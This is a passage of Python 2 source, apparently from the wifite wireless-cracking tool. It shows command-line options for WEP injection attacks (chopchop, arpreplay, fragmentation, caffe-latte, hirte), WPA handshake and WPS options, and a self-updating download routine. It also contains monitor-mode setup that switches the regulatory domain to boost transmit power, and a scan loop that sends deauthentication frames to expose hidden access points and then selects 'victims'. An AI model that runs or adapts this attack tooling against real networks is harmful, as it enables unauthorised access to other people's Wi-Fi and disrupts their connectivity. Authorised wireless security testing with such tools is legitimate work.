  684.         wpa_group.add_argument('--pyrit', help='Verify handshake using pyrit.', default=False, action='store_true',
  685.                                dest='pyrit')
  686.         wpa_group.add_argument('-pyrit', help=argparse.SUPPRESS, default=False, action='store_true', dest='pyrit')
  687.         wpa_group.add_argument('--tshark', help='Verify handshake using tshark.', default=False, action='store_true',
  688.                                dest='tshark')
  689.         wpa_group.add_argument('-tshark', help=argparse.SUPPRESS, default=False, action='store_true', dest='tshark')
  690.         wpa_group.add_argument('--cowpatty', help='Verify handshake using cowpatty.', default=False,
  691.                                action='store_true', dest='cowpatty')
  692.         wpa_group.add_argument('-cowpatty', help=argparse.SUPPRESS, default=False, action='store_true', dest='cowpatty')
  693.         # set WEP commands
  694.         wep_group = option_parser.add_argument_group('WEP')
  695.         wep_group.add_argument('--wep', help='Only target WEP networks.', default=False, action='store_true',
  696.                                dest='wep')
  697.         wep_group.add_argument('-wep', help=argparse.SUPPRESS, default=False, action='store_true', dest='wep')
  698.         wep_group.add_argument('--pps', help='Set the number of packets per second to inject.', action='store',
  699.                                dest='pps')
  700.         wep_group.add_argument('-pps', help=argparse.SUPPRESS, action='store', dest='pps')
  701.         wep_group.add_argument('--wept', help='Sec to wait for each attack, 0 implies endless.', action='store',
  702.                                dest='wept')
  703.         wep_group.add_argument('-wept', help=argparse.SUPPRESS, action='store', dest='wept')
  704.         wep_group.add_argument('--chopchop', help='Use chopchop attack.', default=False, action='store_true',
  705.                                dest='chopchop')
  706.         wep_group.add_argument('-chopchop', help=argparse.SUPPRESS, default=False, action='store_true', dest='chopchop')
  707.         wep_group.add_argument('--arpreplay', help='Use arpreplay attack.', default=False, action='store_true',
  708.                                dest='arpreplay')
  709.         wep_group.add_argument('-arpreplay', help=argparse.SUPPRESS, default=False, action='store_true',
  710.                                dest='arpreplay')
  711.         wep_group.add_argument('--fragment', help='Use fragmentation attack.', default=False, action='store_true',
  712.                                dest='fragment')
  713.         wep_group.add_argument('-fragment', help=argparse.SUPPRESS, default=False, action='store_true', dest='fragment')
  714.         wep_group.add_argument('--caffelatte', help='Use caffe-latte attack.', default=False, action='store_true',
  715.                                dest='caffeelatte')
  716.         wep_group.add_argument('-caffelatte', help=argparse.SUPPRESS, default=False, action='store_true',
  717.                                dest='caffeelatte')
  718.         wep_group.add_argument('--p0841', help='Use P0842 attack.', default=False, action='store_true', dest='p0841')
  719.         wep_group.add_argument('-p0841', help=argparse.SUPPRESS, default=False, action='store_true', dest='p0841')
  720.         wep_group.add_argument('--hirte', help='Use hirte attack.', default=False, action='store_true', dest='hirte')
  721.         wep_group.add_argument('-hirte', help=argparse.SUPPRESS, default=False, action='store_true', dest='hirte')
  722.         wep_group.add_argument('--nofakeauth', help='Stop attack if fake authentication fails.', default=False,
  723.                                action='store_true', dest='fakeauth')
  724.         wep_group.add_argument('-nofakeauth', help=argparse.SUPPRESS, default=False, action='store_true',
  725.                                dest='fakeauth')
  726.         wep_group.add_argument('--wepca', help='Start cracking when number of IVs surpass [n].', action='store',
  727.                                dest='wepca')
  728.         wep_group.add_argument('-wepca', help=argparse.SUPPRESS, action='store', dest='wepca')
  729.         wep_group.add_argument('--wepsave', help='Save a copy of .cap files to this directory.', default=None,
  730.                                action='store', dest='wepsave')
  731.         wep_group.add_argument('-wepsave', help=argparse.SUPPRESS, default=None, action='store', dest='wepsave')
  732.         # set WPS commands
  733.         wps_group = option_parser.add_argument_group('WPS')
  734.         wps_group.add_argument('--wps', help='Only target WPS networks.', default=False, action='store_true',
  735.                                dest='wps')
  736.         wps_group.add_argument('-wps', help=argparse.SUPPRESS, default=False, action='store_true', dest='wps')
  737.         wps_group.add_argument('--wpst', help='Max wait for new retry before giving up (0: never).', action='store',
  738.                                dest='wpst')
  739.         wps_group.add_argument('-wpst', help=argparse.SUPPRESS, action='store', dest='wpst')
  740.         wps_group.add_argument('--wpsratio', help='Min ratio of successful PIN attempts/total retries.', action='store',
  741.                                dest='wpsratio')
  742.         wps_group.add_argument('-wpsratio', help=argparse.SUPPRESS, action='store', dest='wpsratio')
  743.         wps_group.add_argument('--wpsretry', help='Max number of retries for same PIN before giving up.',
  744.                                action='store', dest='wpsretry')
  745.         wps_group.add_argument('-wpsretry', help=argparse.SUPPRESS, action='store', dest='wpsretry')
  746.  
  747.         return option_parser
  748.  
  749.     def upgrade(self):
  750.         """
  751.            Checks for new version, prompts to upgrade, then
  752.            replaces this script with the latest from the repo
  753.        """
  754.         try:
  755.             print GR + ' [!]' + W + ' upgrading requires an ' + G + 'internet connection' + W
  756.             print GR + ' [+]' + W + ' checking for latest version...'
  757.             revision = get_revision()
  758.             if revision == -1:
  759.                 print R + ' [!]' + O + ' unable to access GitHub' + W
  760.             elif revision > self.REVISION:
  761.                 print GR + ' [!]' + W + ' a new version is ' + G + 'available!' + W
  762.                 print GR + ' [-]' + W + '   revision:    ' + G + str(revision) + W
  763.                 response = raw_input(GR + ' [+]' + W + ' do you want to upgrade to the latest version? (y/n): ')
  764.                 if not response.lower().startswith('y'):
  765.                     print GR + ' [-]' + W + ' upgrading ' + O + 'aborted' + W
  766.                     self.exit_gracefully(0)
  767.                     return
  768.                 # Download script, replace with this one
  769.                 print GR + ' [+] ' + G + 'downloading' + W + ' update...'
  770.                 try:
  771.                     sock = urllib.urlopen('https://github.com/derv82/wifite/raw/master/wifite.py')
  772.                     page = sock.read()
  773.                 except IOError:
  774.                     page = ''
  775.                 if page == '':
  776.                     print R + ' [+] ' + O + 'unable to download latest version' + W
  777.                     self.exit_gracefully(1)
  778.  
  779.                 # Create/save the new script
  780.                 f = open('wifite_new.py', 'w')
  781.                 f.write(page)
  782.                 f.close()
  783.  
  784.                 # The filename of the running script
  785.                 this_file = __file__
  786.                 if this_file.startswith('./'):
  787.                     this_file = this_file[2:]
  788.  
  789.                 # create/save a shell script that replaces this script with the new one
  790.                 f = open('update_wifite.sh', 'w')
  791.                 f.write('''#!/bin/sh\n
  792.                           rm -rf ''' + this_file + '''\n
  793.                           mv wifite_new.py ''' + this_file + '''\n
  794.                           rm -rf update_wifite.sh\n
  795.                           chmod +x ''' + this_file + '''\n
  796.                          ''')
  797.                 f.close()
  798.  
  799.                 # Change permissions on the script
  800.                 returncode = call(['chmod', '+x', 'update_wifite.sh'])
  801.                 if returncode != 0:
  802.                     print R + ' [!]' + O + ' permission change returned unexpected code: ' + str(returncode) + W
  803.                     self.exit_gracefully(1)
  804.                 # Run the script
  805.                 returncode = call(['sh', 'update_wifite.sh'])
  806.                 if returncode != 0:
  807.                     print R + ' [!]' + O + ' upgrade script returned unexpected code: ' + str(returncode) + W
  808.                     self.exit_gracefully(1)
  809.  
  810.                 print GR + ' [+] ' + G + 'updated!' + W + ' type "./' + this_file + '" to run again'
  811.  
  812.             else:
  813.                 print GR + ' [-]' + W + ' your copy of wifite is ' + G + 'up to date' + W
  814.  
  815.         except KeyboardInterrupt:
  816.             print R + '\n (^C)' + O + ' wifite upgrade interrupted' + W
  817.         self.exit_gracefully(0)
  818.  
  819.  
  820. class RunEngine:
  821.     def __init__(self, run_config):
  822.         self.RUN_CONFIG = run_config
  823.         self.RUN_CONFIG.RUN_ENGINE = self
  824.  
  825.     def initial_check(self):
  826.         """
  827.            Ensures required programs are installed.
  828.        """
  829.         airs = ['aircrack-ng', 'airodump-ng', 'aireplay-ng', 'airmon-ng', 'packetforge-ng']
  830.         for air in airs:
  831.             if program_exists(air): continue
  832.             print R + ' [!]' + O + ' required program not found: %s' % (R + air + W)
  833.             print R + ' [!]' + O + ' this program is bundled with the aircrack-ng suite:' + W
  834.             print R + ' [!]' + O + '        ' + C + 'http://www.aircrack-ng.org/' + W
  835.             print R + ' [!]' + O + ' or: ' + W + 'sudo apt-get install aircrack-ng\n' + W
  836.             self.RUN_CONFIG.exit_gracefully(1)
  837.  
  838.         if not program_exists('iw'):
  839.             print R + ' [!]' + O + ' airmon-ng requires the program %s\n' % (R + 'iw' + W)
  840.             self.RUN_CONFIG.exit_gracefully(1)
  841.  
  842.         printed = False
  843.         # Check reaver
  844.         if not program_exists('reaver'):
  845.             printed = True
  846.             print R + ' [!]' + O + ' the program ' + R + 'reaver' + O + ' is required for WPS attacks' + W
  847.             print R + '    ' + O + '   available at ' + C + 'http://code.google.com/p/reaver-wps' + W
  848.             self.RUN_CONFIG.WPS_DISABLE = True
  849.         elif not program_exists('walsh') and not program_exists('wash'):
  850.             printed = True
  851.             print R + ' [!]' + O + ' reaver\'s scanning tool ' + R + 'walsh' + O + ' (or ' + R + 'wash' + O + ') was not found' + W
  852.             print R + ' [!]' + O + ' please re-install reaver or install walsh/wash separately' + W
  853.  
  854.         # Check handshake-checking apps
  855.         recs = ['tshark', 'pyrit', 'cowpatty']
  856.         for rec in recs:
  857.             if program_exists(rec): continue
  858.             printed = True
  859.             print R + ' [!]' + O + ' the program %s is not required, but is recommended%s' % (R + rec + O, W)
  860.         if printed: print ''
  861.  
  862.     def enable_monitor_mode(self, iface):
  863.         """
  864.            First attempts to anonymize the MAC if requested; MACs cannot
  865.            be anonymized if they're already in monitor mode.
  866.            Uses airmon-ng to put a device into Monitor Mode.
  867.            Then uses the get_iface() method to retrieve the new interface's name.
  868.            Sets global variable IFACE_TO_TAKE_DOWN as well.
  869.            Returns the name of the interface in monitor mode.
  870.        """
  871.         mac_anonymize(iface)
  872.         print GR + ' [+]' + W + ' enabling monitor mode on %s...' % (G + iface + W),
  873.         stdout.flush()
  874.         call(['airmon-ng', 'start', iface], stdout=DN, stderr=DN)
  875.         print 'done'
  876.         self.RUN_CONFIG.WIRELESS_IFACE = ''  # remove this reference as we've started its monitoring counterpart
  877.         self.RUN_CONFIG.IFACE_TO_TAKE_DOWN = self.get_iface()
  878.         if self.RUN_CONFIG.TX_POWER > 0:
  879.             print GR + ' [+]' + W + ' setting Tx power to %s%s%s...' % (G, self.RUN_CONFIG.TX_POWER, W),
  880.             call(['iw', 'reg', 'set', 'BO'], stdout=OUTLOG, stderr=ERRLOG)
  881.             call(['iwconfig', iface, 'txpower', self.RUN_CONFIG.TX_POWER], stdout=OUTLOG, stderr=ERRLOG)
  882.             print 'done'
  883.         return self.RUN_CONFIG.IFACE_TO_TAKE_DOWN
  884.  
  885.     def disable_monitor_mode(self):
  886.         """
  887.            The program may have enabled monitor mode on a wireless interface.
  888.            We want to disable this before we exit, so we will do that.
  889.        """
  890.         if self.RUN_CONFIG.IFACE_TO_TAKE_DOWN == '': return
  891.         print GR + ' [+]' + W + ' disabling monitor mode on %s...' % (G + self.RUN_CONFIG.IFACE_TO_TAKE_DOWN + W),
  892.         stdout.flush()
  893.         call(['airmon-ng', 'stop', self.RUN_CONFIG.IFACE_TO_TAKE_DOWN], stdout=DN, stderr=DN)
  894.         print 'done'
  895.  
  896.     def rtl8187_fix(self, iface):
  897.         """
  898.            Attempts to solve "Unknown error 132" common with RTL8187 devices.
  899.            Puts down interface, unloads/reloads driver module, then puts iface back up.
  900.            Returns True if fix was attempted, False otherwise.
  901.        """
  902.         # Check if current interface is using the RTL8187 chipset
  903.         proc_airmon = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
  904.         proc_airmon.wait()
  905.         using_rtl8187 = False
  906.         for line in proc_airmon.communicate()[0].split():
  907.             line = line.upper()
  908.             if line.strip() == '' or line.startswith('INTERFACE'): continue
  909.             if line.find(iface.upper()) and line.find('RTL8187') != -1: using_rtl8187 = True
  910.  
  911.         if not using_rtl8187:
  912.             # Display error message and exit
  913.             print R + ' [!]' + O + ' unable to generate airodump-ng CSV file' + W
  914.             print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W
  915.             self.RUN_CONFIG.exit_gracefully(1)
  916.  
  917.         print O + " [!]" + W + " attempting " + O + "RTL8187 'Unknown Error 132'" + W + " fix..."
  918.  
  919.         original_iface = iface
  920.         # Take device out of monitor mode
  921.         airmon = Popen(['airmon-ng', 'stop', iface], stdout=PIPE, stderr=DN)
  922.         airmon.wait()
  923.         for line in airmon.communicate()[0].split('\n'):
  924.             if line.strip() == '' or \
  925.                     line.startswith("Interface") or \
  926.                             line.find('(removed)') != -1:
  927.                 continue
  928.             original_iface = line.split()[0]  # line[:line.find('\t')]
  929.  
  930.         # Remove drive modules, block/unblock ifaces, probe new modules.
  931.         print_and_exec(['ifconfig', original_iface, 'down'])
  932.         print_and_exec(['rmmod', 'rtl8187'])
  933.         print_and_exec(['rfkill', 'block', 'all'])
  934.         print_and_exec(['rfkill', 'unblock', 'all'])
  935.         print_and_exec(['modprobe', 'rtl8187'])
  936.         print_and_exec(['ifconfig', original_iface, 'up'])
  937.         print_and_exec(['airmon-ng', 'start', original_iface])
  938.  
  939.         print '\r                                                        \r',
  940.         print O + ' [!] ' + W + 'restarting scan...\n'
  941.  
  942.         return True
  943.  
  944.     def get_iface(self):
  945.         """
  946.            Get the wireless interface in monitor mode.
  947.            Defaults to only device in monitor mode if found.
  948.            Otherwise, enumerates list of possible wifi devices
  949.            and asks user to select one to put into monitor mode (if multiple).
  950.            Uses airmon-ng to put device in monitor mode if needed.
  951.            Returns the name (string) of the interface chosen in monitor mode.
  952.        """
  953.         if not self.RUN_CONFIG.PRINTED_SCANNING:
  954.             print GR + ' [+]' + W + ' scanning for wireless devices...'
  955.             self.RUN_CONFIG.PRINTED_SCANNING = True
  956.  
  957.         proc = Popen(['iwconfig'], stdout=PIPE, stderr=DN)
  958.         iface = ''
  959.         monitors = []
  960.         adapters = []
  961.         for line in proc.communicate()[0].split('\n'):
  962.             if len(line) == 0: continue
  963.             if ord(line[0]) != 32:  # Doesn't start with space
  964.                 iface = line[:line.find(' ')]  # is the interface
  965.             if line.find('Mode:Monitor') != -1:
  966.                 monitors.append(iface)
  967.             else:
  968.                 adapters.append(iface)
  969.  
  970.         if self.RUN_CONFIG.WIRELESS_IFACE != '':
  971.             if monitors.count(self.RUN_CONFIG.WIRELESS_IFACE):
  972.                 return self.RUN_CONFIG.WIRELESS_IFACE
  973.             else:
  974.                 if self.RUN_CONFIG.WIRELESS_IFACE in adapters:
  975.                     # valid adapter, enable monitor mode
  976.                     print R + ' [!]' + O + ' could not find wireless interface %s in monitor mode' % (
  977.                     R + '"' + R + self.RUN_CONFIG.WIRELESS_IFACE + '"' + O)
  978.                     return self.enable_monitor_mode(self.RUN_CONFIG.WIRELESS_IFACE)
  979.                 else:
  980.                     # couldnt find the requested adapter
  981.                     print R + ' [!]' + O + ' could not find wireless interface %s' % (
  982.                     '"' + R + self.RUN_CONFIG.WIRELESS_IFACE + O + '"' + W)
  983.                     self.RUN_CONFIG.exit_gracefully(0)
  984.  
  985.         if len(monitors) == 1:
  986.             return monitors[0]  # Default to only device in monitor mode
  987.         elif len(monitors) > 1:
  988.             print GR + " [+]" + W + " interfaces in " + G + "monitor mode:" + W
  989.             for i, monitor in enumerate(monitors):
  990.                 print "  %s. %s" % (G + str(i + 1) + W, G + monitor + W)
  991.             ri = raw_input("%s [+]%s select %snumber%s of interface to use for capturing (%s1-%d%s): %s" % \
  992.                            (GR, W, G, W, G, len(monitors), W, G))
  993.             while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):
  994.                 ri = raw_input("%s [+]%s select number of interface to use for capturing (%s1-%d%s): %s" % \
  995.                                (GR, W, G, len(monitors), W, G))
  996.             i = int(ri)
  997.             return monitors[i - 1]
  998.  
  999.         proc = Popen(['airmon-ng'], stdout=PIPE, stderr=DN)
  1000.         for line in proc.communicate()[0].split('\n'):
  1001.             if len(line) == 0 or line.startswith('Interface'): continue
  1002.             monitors.append(line)
  1003.  
  1004.         if len(monitors) == 0:
  1005.             print R + ' [!]' + O + " no wireless interfaces were found." + W
  1006.             print R + ' [!]' + O + " you need to plug in a wifi device or install drivers.\n" + W
  1007.             self.RUN_CONFIG.exit_gracefully(0)
  1008.         elif self.RUN_CONFIG.WIRELESS_IFACE != '' and monitors.count(self.RUN_CONFIG.WIRELESS_IFACE) > 0:
  1009.             monitor = monitors[0][:monitors[0].find('\t')]
  1010.             return self.enable_monitor_mode(monitor)
  1011.  
  1012.         elif len(monitors) == 1:
  1013.             monitor = monitors[0][:monitors[0].find('\t')]
  1014.             return self.enable_monitor_mode(monitor)
  1015.  
  1016.         print GR + " [+]" + W + " available wireless devices:"
  1017.         for i, monitor in enumerate(monitors):
  1018.             print "  %s%d%s. %s" % (G, i + 1, W, monitor)
  1019.  
  1020.         ri = raw_input(
  1021.             GR + " [+]" + W + " select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))
  1022.         while not ri.isdigit() or int(ri) < 1 or int(ri) > len(monitors):
  1023.             ri = raw_input(" [+] select number of device to put into monitor mode (%s1-%d%s): " % (G, len(monitors), W))
  1024.         i = int(ri)
  1025.         monitor = monitors[i - 1][:monitors[i - 1].find('\t')]
  1026.  
  1027.         return self.enable_monitor_mode(monitor)
  1028.  
  1029.     def scan(self, channel=0, iface='', tried_rtl8187_fix=False):
  1030.         """
  1031.            Scans for access points. Asks user to select target(s).
  1032.                "channel" - the channel to scan on, 0 scans all channels.
  1033.                "iface"   - the interface to scan on. must be a real interface.
  1034.                "tried_rtl8187_fix" - We have already attempted to fix "Unknown error 132"
  1035.            Returns list of selected targets and list of clients.
  1036.        """
  1037.         remove_airodump_files(self.RUN_CONFIG.temp + 'wifite')
  1038.  
  1039.         command = ['airodump-ng',
  1040.                    '-a',  # only show associated clients
  1041.                    '-w', self.RUN_CONFIG.temp + 'wifite']  # output file
  1042.         if channel != 0:
  1043.             command.append('-c')
  1044.             command.append(str(channel))
  1045.         command.append(iface)
  1046.  
  1047.         proc = Popen(command, stdout=DN, stderr=DN)
  1048.  
  1049.         time_started = time.time()
  1050.         print GR + ' [+] ' + G + 'initializing scan' + W + ' (' + G + iface + W + '), updates at 5 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.'
  1051.         (targets, clients) = ([], [])
  1052.         try:
  1053.             deauth_sent = 0.0
  1054.             old_targets = []
  1055.             stop_scanning = False
  1056.             while True:
  1057.                 time.sleep(0.3)
  1058.                 if not os.path.exists(self.RUN_CONFIG.temp + 'wifite-01.csv') and time.time() - time_started > 1.0:
  1059.                     print R + '\n [!] ERROR!' + W
  1060.                     # RTL8187 Unknown Error 132 FIX
  1061.                     if proc.poll() is not None:  # Check if process has finished
  1062.                         proc = Popen(['airodump-ng', iface], stdout=DN, stderr=PIPE)
  1063.                         if not tried_rtl8187_fix and proc.communicate()[1].find('failed: Unknown error 132') != -1:
  1064.                             send_interrupt(proc)
  1065.                             if self.rtl8187_fix(iface):
  1066.                                 return self.scan(channel=channel, iface=iface, tried_rtl8187_fix=True)
  1067.                     print R + ' [!]' + O + ' wifite is unable to generate airodump-ng output files' + W
  1068.                     print R + ' [!]' + O + ' you may want to disconnect/reconnect your wifi device' + W
  1069.                     self.RUN_CONFIG.exit_gracefully(1)
  1070.  
  1071.                 (targets, clients) = self.parse_csv(self.RUN_CONFIG.temp + 'wifite-01.csv')
  1072.  
  1073.                 # Remove any already cracked networks if configured to do so
  1074.                 if self.RUN_CONFIG.SHOW_ALREADY_CRACKED == False:
  1075.                     index = 0
  1076.                     while index < len(targets):
  1077.                         already = False
  1078.                         for cracked in self.RUN_CONFIG.CRACKED_TARGETS:
  1079.                             if targets[index].ssid.lower() == cracked.ssid.lower():
  1080.                                 already = True
  1081.                             if targets[index].bssid.lower() == cracked.bssid.lower():
  1082.                                 already = True
  1083.                         if already == True:
  1084.                             targets.pop(index)
  1085.                             index -= 1
  1086.                         index += 1
  1087.  
  1088.                 # If we are targeting a specific ESSID/BSSID, skip the scan once we find it.
  1089.                 if self.RUN_CONFIG.TARGET_ESSID != '':
  1090.                     for t in targets:
  1091.                         if t.ssid.lower() == self.RUN_CONFIG.TARGET_ESSID.lower():
  1092.                             send_interrupt(proc)
  1093.                             try:
  1094.                                 os.kill(proc.pid, SIGTERM)
  1095.                             except OSError:
  1096.                                 pass
  1097.                             except UnboundLocalError:
  1098.                                 pass
  1099.                             targets = [t]
  1100.                             stop_scanning = True
  1101.                             break
  1102.                 if self.RUN_CONFIG.TARGET_BSSID != '':
  1103.                     for t in targets:
  1104.                         if t.bssid.lower() == self.RUN_CONFIG.TARGET_BSSID.lower():
  1105.                             send_interrupt(proc)
  1106.                             try:
  1107.                                 os.kill(proc.pid, SIGTERM)
  1108.                             except OSError:
  1109.                                 pass
  1110.                             except UnboundLocalError:
  1111.                                 pass
  1112.                             targets = [t]
  1113.                             stop_scanning = True
  1114.                             break
  1115.  
  1116.                 # If user has chosen to target all access points, wait 20 seconds, then return all
  1117.                 if self.RUN_CONFIG.ATTACK_ALL_TARGETS and time.time() - time_started > 10:
  1118.                     print GR + '\n [+]' + W + ' auto-targeted %s%d%s access point%s' % (
  1119.                     G, len(targets), W, '' if len(targets) == 1 else 's')
  1120.                     stop_scanning = True
  1121.  
  1122.                 if self.RUN_CONFIG.ATTACK_MIN_POWER > 0 and time.time() - time_started > 10:
  1123.                     # Remove targets with power < threshold
  1124.                     i = 0
  1125.                     before_count = len(targets)
  1126.                     while i < len(targets):
  1127.                         if targets[i].power < self.RUN_CONFIG.ATTACK_MIN_POWER:
  1128.                             targets.pop(i)
  1129.                         else:
  1130.                             i += 1
  1131.                     print GR + '\n [+]' + W + ' removed %s targets with power < %ddB, %s remain' % \
  1132.                                               (G + str(before_count - len(targets)) + W,
  1133.                                                self.RUN_CONFIG.ATTACK_MIN_POWER, G + str(len(targets)) + W)
  1134.                     stop_scanning = True
  1135.  
  1136.                 if stop_scanning: break
  1137.  
  1138.                 # If there are unknown SSIDs, send deauths to them.
  1139.                 if channel != 0 and time.time() - deauth_sent > 5:
  1140.                     deauth_sent = time.time()
  1141.                     for t in targets:
  1142.                         if t.ssid == '':
  1143.                             print "\r %s deauthing hidden access point (%s)               \r" % \
  1144.                                   (GR + sec_to_hms(time.time() - time_started) + W, G + t.bssid + W),
  1145.                             stdout.flush()
  1146.                             # Time to deauth
  1147.                             cmd = ['aireplay-ng',
  1148.                                    '--ignore-negative-one',
  1149.                                    '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
  1150.                                    '-a', t.bssid]
  1151.                             for c in clients:
  1152.                                 if c.station == t.bssid:
  1153.                                     cmd.append('-c')
  1154.                                     cmd.append(c.bssid)
  1155.                                     break
  1156.                             cmd.append(iface)
  1157.                             proc_aireplay = Popen(cmd, stdout=DN, stderr=DN)
  1158.                             proc_aireplay.wait()
  1159.                             time.sleep(0.5)
  1160.                         else:
  1161.                             for ot in old_targets:
  1162.                                 if ot.ssid == '' and ot.bssid == t.bssid:
  1163.                                     print '\r %s successfully decloaked "%s"                     ' % \
  1164.                                           (GR + sec_to_hms(time.time() - time_started) + W, G + t.ssid + W)
  1165.  
  1166.                     old_targets = targets[:]
  1167.                 if self.RUN_CONFIG.VERBOSE_APS and len(targets) > 0:
  1168.                     targets = sorted(targets, key=lambda t: t.power, reverse=True)
  1169.                     if not self.RUN_CONFIG.WPS_DISABLE:
  1170.                         wps_check_targets(targets, self.RUN_CONFIG.temp + 'wifite-01.cap', verbose=False)
  1171.  
  1172.                     os.system('clear')
  1173.                     print GR + '\n [+] ' + G + 'scanning' + W + ' (' + G + iface + W + '), updates at 5 sec intervals, ' + G + 'CTRL+C' + W + ' when ready.\n'
  1174.                     print "   NUM ESSID                 %sCH  ENCR  POWER  WPS?  CLIENT" % (
  1175.                     'BSSID              ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1176.                     print '   --- --------------------  %s--  ----  -----  ----  ------' % (
  1177.                     '-----------------  ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1178.                     for i, target in enumerate(targets):
  1179.                         print "   %s%2d%s " % (G, i + 1, W),
  1180.                         # SSID
  1181.                         if target.ssid == '':
  1182.                             p = O + '(' + target.bssid + ')' + GR + ' ' + W
  1183.                             print '%s' % p.ljust(20),
  1184.                         elif ( target.ssid.count('\x00') == len(target.ssid) ):
  1185.                             p = '<Length ' + str(len(target.ssid)) + '>'
  1186.                             print '%s' % C + p.ljust(20) + W,
  1187.                         elif len(target.ssid) <= 20:
  1188.                             print "%s" % C + target.ssid.ljust(20) + W,
  1189.                         else:
  1190.                             print "%s" % C + target.ssid[0:17] + '...' + W,
  1191.                         # BSSID
  1192.                         if self.RUN_CONFIG.SHOW_MAC_IN_SCAN:
  1193.                             print O, target.bssid + W,
  1194.                         # Channel
  1195.                         print G + target.channel.rjust(3), W,
  1196.                         # Encryption
  1197.                         if target.encryption.find("WEP") != -1:
  1198.                             print G,
  1199.                         else:
  1200.                             print O,
  1201.                         print "\b%3s" % target.encryption.strip().ljust(4) + W,
  1202.                         # Power
  1203.                         if target.power >= 55:
  1204.                             col = G
  1205.                         elif target.power >= 40:
  1206.                             col = O
  1207.                         else:
  1208.                             col = R
  1209.                         print "%s%3ddb%s" % (col, target.power, W),
  1210.                         # WPS
  1211.                         if self.RUN_CONFIG.WPS_DISABLE:
  1212.                             print "  %3s" % (O + 'n/a' + W),
  1213.                         else:
  1214.                             print "  %3s" % (G + 'wps' + W if target.wps else R + ' no' + W),
  1215.                         # Clients
  1216.                         client_text = ''
  1217.                         for c in clients:
  1218.                             if c.station == target.bssid:
  1219.                                 if client_text == '':
  1220.                                     client_text = 'client'
  1221.                                 elif client_text[-1] != "s":
  1222.                                     client_text += "s"
  1223.                         if client_text != '':
  1224.                             print '  %s' % (G + client_text + W)
  1225.                         else:
  1226.                             print ''
  1227.                     print ''
  1228.                 print ' %s %s wireless networks. %s target%s and %s client%s found   \r' % (
  1229.                     GR + sec_to_hms(time.time() - time_started) + W, G + 'scanning' + W,
  1230.                     G + str(len(targets)) + W, '' if len(targets) == 1 else 's',
  1231.                     G + str(len(clients)) + W, '' if len(clients) == 1 else 's'),
  1232.  
  1233.                 stdout.flush()
  1234.         except KeyboardInterrupt:
  1235.             pass
  1236.         print ''
  1237.  
  1238.         send_interrupt(proc)
  1239.         try:
  1240.             os.kill(proc.pid, SIGTERM)
  1241.         except OSError:
  1242.             pass
  1243.         except UnboundLocalError:
  1244.             pass
  1245.  
  1246.         # Use "wash" program to check for WPS compatibility
  1247.         if not self.RUN_CONFIG.WPS_DISABLE:
  1248.             wps_check_targets(targets, self.RUN_CONFIG.temp + 'wifite-01.cap')
  1249.  
  1250.         remove_airodump_files(self.RUN_CONFIG.temp + 'wifite')
  1251.  
  1252.         if stop_scanning:
  1253.             return (targets, clients)
  1254.         print ''
  1255.  
  1256.         if len(targets) == 0:
  1257.             print R + ' [!]' + O + ' no targets found!' + W
  1258.             print R + ' [!]' + O + ' you may need to wait for targets to show up.' + W
  1259.             print ''
  1260.             self.RUN_CONFIG.exit_gracefully(1)
  1261.  
  1262.         if self.RUN_CONFIG.VERBOSE_APS: os.system('clear')
  1263.  
  1264.         # Sort by Power
  1265.         targets = sorted(targets, key=lambda t: t.power, reverse=True)
  1266.  
  1267.         victims = []
  1268.         print "   NUM ESSID                 %sCH  ENCR  POWER  WPS?  CLIENT" % (
  1269.         'BSSID              ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1270.         print '   --- --------------------  %s--  ----  -----  ----  ------' % (
  1271.         '-----------------  ' if self.RUN_CONFIG.SHOW_MAC_IN_SCAN else '')
  1272.         for i, target in enumerate(targets):
  1273.             print "   %s%2d%s " % (G, i + 1, W),
  1274.             # SSID
  1275.             if target.ssid == '':
  1276.                 p = O + '(' + target.bssid + ')' + GR + ' ' + W
  1277.                 print '%s' % p.ljust(20),
  1278.             elif ( target.ssid.count('\x00') == len(target.ssid) ):
  1279.                 p = '<Length ' + str(len(target.ssid)) + '>'
  1280.                 print '%s' % C + p.ljust(20) + W,
  1281.             elif len(target.ssid) <= 20:
  1282.                 print "%s" % C + target.ssid.ljust(20) + W,
  1283.             else:
  1284.                 print "%s" % C + target.ssid[0:17] + '...' + W,
  1285.             # BSSID
  1286.             if self.RUN_CONFIG.SHOW_MAC_IN_SCAN:
  1287.                 print O, target.bssid + W,
  1288.             # Channel
  1289.             print G + target.channel.rjust(3), W,
  1290.             # Encryption
  1291.             if target.encryption.find("WEP") != -1:
  1292.                 print G,
  1293.             else:
  1294.                 print O,
  1295.             print "\b%3s" % target.encryption.strip().ljust(4) + W,
  1296.             # Power
  1297.             if target.power >= 55:
  1298.                 col = G
  1299.             elif target.power >= 40:
  1300.                 col = O
  1301.             else:
  1302.                 col = R
  1303.             print "%s%3ddb%s" % (col, target.power, W),
  1304.             # WPS
  1305.             if self.RUN_CONFIG.WPS_DISABLE:
  1306.                 print "  %3s" % (O + 'n/a' + W),
  1307.             else:
  1308.                 print "  %3s" % (G + 'wps' + W if target.wps else R + ' no' + W),
  1309.             # Clients
  1310.             client_text = ''
  1311.             for c in clients:
  1312.                 if c.station == target.bssid:
  1313.                     if client_text == '':
  1314.                         client_text = 'client'
  1315.                     elif client_text[-1] != "s":
  1316.                         client_text += "s"
  1317.             if client_text != '':
  1318.                 print '  %s' % (G + client_text + W)
  1319.             else:
  1320.                 print ''
  1321.  
  1322.         ri = raw_input(
  1323.             GR + "\n [+]" + W + " select " + G + "target numbers" + W + " (" + G + "1-%s)" % (str(len(targets)) + W) + \
  1324.             " separated by commas, or '%s': " % (G + 'all' + W))
  1325.         if ri.strip().lower() == 'all':
  1326.             victims = targets[:]
  1327.         else:
  1328.             for r in ri.split(','):
  1329.                 r = r.strip()
  1330.                 if r.find('-') != -1:
  1331.                     (sx, sy) = r.split('-')
  1332.                     if sx.isdigit() and sy.isdigit():
  1333.                         x = int(sx)
  1334.                         y = int(sy) + 1
  1335.                         for v in xrange(x, y):
  1336.                             victims.append(targets[v - 1])
  1337.                 elif not r.isdigit() and r.strip() != '':
  1338.                     print O + " [!]" + R + " not a number: %s " % (O + r + W)
  1339.                 elif r != '':
